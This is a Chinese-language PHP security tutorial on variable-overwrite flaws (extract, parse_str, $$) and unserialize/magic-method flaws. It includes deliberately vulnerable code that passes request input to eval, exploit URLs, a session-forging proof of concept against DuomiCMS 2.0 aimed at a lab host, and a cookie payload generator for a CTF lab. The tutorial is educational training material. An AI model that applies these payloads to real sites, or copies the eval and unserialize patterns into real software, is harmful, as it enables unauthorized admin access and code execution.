一、什么是变量覆盖?
变量覆盖指的是可以用我们的传参值替换程序原有的变量值
怎么去寻找变量覆盖?
经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。
变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限
一般只能白盒代码审计
二、函数解析
extract()函数
作用:将数组中将变量导入到当前的符号表
例一:
<?php
$a = "1";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
运行结果:$a = Cat; $b = Dog; $c = Horse
$a
因为$my_array = array("a" => "Cat"
,覆盖成了Cat
例二:
题目:
http://192.168.2.127/1.php?test=1&gift=1得到flag
源码:
<?php
$flag=\'zkaq-niefeng\';
$test=\'zkaq-1950\';
extract($_GET);
if(isset($gift)){
$cotent=trim($test);
if($gift==$cotent){
echo \'flag is:<br />\'.$flag;
}
}else{
echo \'error\';
}
?>
1、文件将get方法传输进来的值通过extrace()函数处理。
2、通过两个if语句分别判断是否存在gift变量,和变量gift的值和变量content的值是否相等。变量content的值是通过读取变量test的值获取到的。如果两个变量相等输出flag。如果不相等,输出错误。
例三:
<?php
$a="echo\'Hello World\';\'";
extract($_GET);
eval($a);
?>
http://192.168.2.127/1.php?a=phpinfo();
parse_str()
将查询字符串解析到变量中
<?php
parse_str("name=zkaq&&age=60");//test=123&gift=123
echo $name."<br>";
echo $age;
?>
输出了zkaq和60
那么parse_str("name=Bill&age=60") 相当于完成了$name =\'zkaq\'和$age =\'60\'
那么如果在parse_str中可以直接传参的话,那么是不是也可以覆盖变量呢。
$$引起的变量覆盖
不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$
\[ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。 来,我们上一个例题: ```php <?php $a = 1; foreach(array(\'_COOKIE\',\'_POST\',\'_GET\') as $_request) { foreach($$_request as $_key=>$_value) {$$_key=addslashes($_value);}} echo $a; ?> ``` ``` 这个代码会接受我们的GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_request $_key=>$_value 这是个数组解析,实际上就是键值分离 正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value);就变为了$a = 2 ``` ## 三、靶场实战 我们靶场使用了多米cms2.0 我们可以使用seay代码审计工具去快速的找到危险函数,这里是变量覆盖的,所以特意自己加了一个匹配$$的规则:([^\$"]|$)\$\{?\$ 在系统配置的规则配置里面可以添加 ![image-20201104142932473](https://img-blog.csdnimg.cn/img_convert/2f9694a18303a8e45286464b54ad4f8c.png) 通过我们的seay审计工具,我们快速的发现了一个存在变量覆盖的地方(duomiphp\common.php文件) ![image-20201104143001350](https://img-blog.csdnimg.cn/img_convert/2685f164b6d8b17e4e1376c94a8b25d7.png) 看一看使用这个变量覆盖需要满足的条件 ![image-20201104143012408](https://img-blog.csdnimg.cn/img_convert/41c9080f78e14944a3d32e02da3509da.png) `1.必须要有传参 2.键名有cfg_和GLOBALS 3.COOKIE传参中有$_k ` 当这三个条件都满足的时候就进入了if分支,然后执行exit然后不往下执行了 我们很明确的知道了,common.php文件存在变量覆盖,那么我们去看下什么文件调用了他 很明显在登录的页面调用了该文件,我们去login.php去看看,这个页面似乎还调用了check.admin.php,我们去看看这个文件 通过看check.admin.php这个文件的备注,就能知道这个文件是控制session的,可以控制权限、id、用户名,那么我们是不是可以通过common.php进行一个伪造session呢? ![image-20201104143117440](https://img-blog.csdnimg.cn/img_convert/f1cdd46cd973073a898233f2a04650ab.png) 通过这里可以设置session值进行赋值来获得权限,groupid是权限的意思,我们全文一搜索,轻松的发现 ![image-20201104143130332](https://img-blog.csdnimg.cn/img_convert/4bf137e894c492821351490bfbfd0244.png) `POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin` 执行以下链接 `http://59.63.200.79:8010/abc/upload/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin` 进入http://59.63.200.79:8010/abc/upload/admin就是管理员账户登录,就能找到flag ![image-20201104143947592](https://img-blog.csdnimg.cn/img_convert/0d5fe3c03a7b1596eeca816e69ec5153.png) [漏洞分析](https://www.freebuf.com/column/188018.html) # 8-7反序列化漏洞 ## 一、什么是反序列化 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】 简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。 ![image-20201104155754649](https://img-blog.csdnimg.cn/img_convert/9878df2c15255fd227cbe5a4731b671d.png) 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object) ![image-20201104155829816](https://img-blog.csdnimg.cn/img_convert/39ae89e8c19b750e4bda9a7ded98c8d9.png) ## 二、魔术方法和反序列化利用 本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。 php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个: ``` __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数) __destruct():当对象被销毁时会自动调用。(析构函数) __wakeup() :如前所提,unserialize()时会自动调用。 ``` ![image-20201104160024116](https://img-blog.csdnimg.cn/img_convert/68480ac9cc6948781e005f5fd17aa019.png) ![image-20201104160029654](https://img-blog.csdnimg.cn/img_convert/90c609ec0f6738061c4f158dd8f60077.png) ### 序列化 ```php <?php //show_source(__FILE__); class chybeta{ var $test="123"; function __construct(){ echo "__construct<br />";//对象创建时会除法 } function __wakeup(){ echo "__wakeup<br />";//使用反序列化函数的时候回触发 } function __destruct(){ echo "__destruct<br />";//对象被销毁的时候会触发 } function zkaq(){ echo "zkaq<br />"; } } $class=new chybeta(); $class->zkaq(); $se=serialize($class); echo $se; echo "<br />"; ?> ``` 结果 ```php __construct //new chybeta()调用__construct zkaq //$class->zkaq(); O:7:"chybeta":1:{s:4:"test";s:3:"123";} //这个为$class序列化的结果 __destruct //销毁chybeta()调用__destruct ``` ### 反序列化 ```php <?php //show_source(__FILE__); class chybeta{ var $test="123"; function __construct(){ echo "__construct<br />";//对象创建时会除法 } function __wakeup(){ echo "__wakeup<br />";//使用反序列化函数的时候回触发 } function __destruct(){ echo "__destruct<br />";//对象被销毁的时候会触发 } function zkaq(){ echo "zkaq<br />"; } } $class2=\'O:7:"chybeta":1:{s:4:"test";s:3:"123";}\'; print_r($class2);//print_r() 函数用于打印变量,以更容易理解的形式展示。 echo "<br />"; $un=unserialize($class2); $un->zkaq(); ?> ``` 结果 ```php O:7:"chybeta":1:{s:4:"test";s:3:"123";}//new chybeta()调用__construct __wakeup//创建$un反序列化初始对象时调用chybeta里的__wakeup zkaq//用创建好的对象调用zkaq() __destruct//销毁chybeta()调用__destruct ``` ### 利用的一种途径 以下是生成代码 ```php <?php class readme{ function __toString(){ eval($this->source); return 1; } } $s=new readme(); $s->source="phpinfo();"; print_r(serialize($s)); ?> ``` 得到readme含有phpinfo();执行的序列化 ```php O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";} ``` 向下面1.php ```php <?php class readme{ function __toString(){ eval($this->source); return "1"; } } if(isset($_GET[\'source\'])){ $s= unserialize($_GET[\'source\']); echo $s; } ?> ``` 传入source的值为前面得到的序列化结果 ``` http://192.168.2.127/1.php?source=O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";} ``` 就能将source的传参进行反序列化,执行phpinfo命令 ## 三、靶场实战 ```php <?php Class readme{ public function __toString(){ return highlight_file(\'Readme.txt\', true).highlight_file($this->source, true); } } $s=new readme(); $s->source="flag.php";//设置$s读取内容 //Readme.txt文件说明flag在flag.php所以这里我们设置 $s=[$s];//将$s变成数组 $s=serialize($s);//将对象$s序列化 $s=md5($s).$s;//前面为序列化结果字符串取md5,后面为序列化后字符串 $s=urlencode($s);//将拼接结果转存URL编码 print_r($s) ?> ``` 在index.php添加一条key为todos,value为上述结果的Cookie,即可得到flag ![image-20201104193037942](https://img-blog.csdnimg.cn/img_convert/aa3c6492ba0082dd8b308338267d7ece.png) 靶场index.php源码 ```php flag in ./flag.php <?php Class readme{ public function __toString() { return highlight_file(\'Readme.txt\', true).highlight_file($this->source, true); } } //readme类声明,里面的__toString是魔术方法,相当于重写toString,能在readme类打印时输出Readme.txt里的内容和source值路径所对应文件的内容 if(isset($_GET[\'source\'])){ $s = new readme(); $s->source = __FILE__; echo $s; exit; } //如果index.php的GET传入source,就显示index.php源码内容 if(isset($_COOKIE[\'todos\'])){ $c = $_COOKIE[\'todos\']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m); } } //如果COOKIE中存在todos,如果它前面32位为32位后面字符串的md5,就将32位后面字符串反序列化,$todos变成readme类数组 if(isset($_POST[\'text\'])){ $todo = $_POST[\'text\']; $todos[] = $todo; $m = serialize($todos); $h = md5($m); setcookie(\'todos\', $h.$m); header(\'Location: \'.$_SERVER[\'REQUEST_URI\']); exit; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> <li><?=$todo?></li> <?php endforeach;?> </ul> //foreach($todos as $todo)表示遍历$todos数组,每次遍历暂时存贮在$todo //<?=$todo?>这里代表输出变量todo <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form> ```\]
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
评论(0)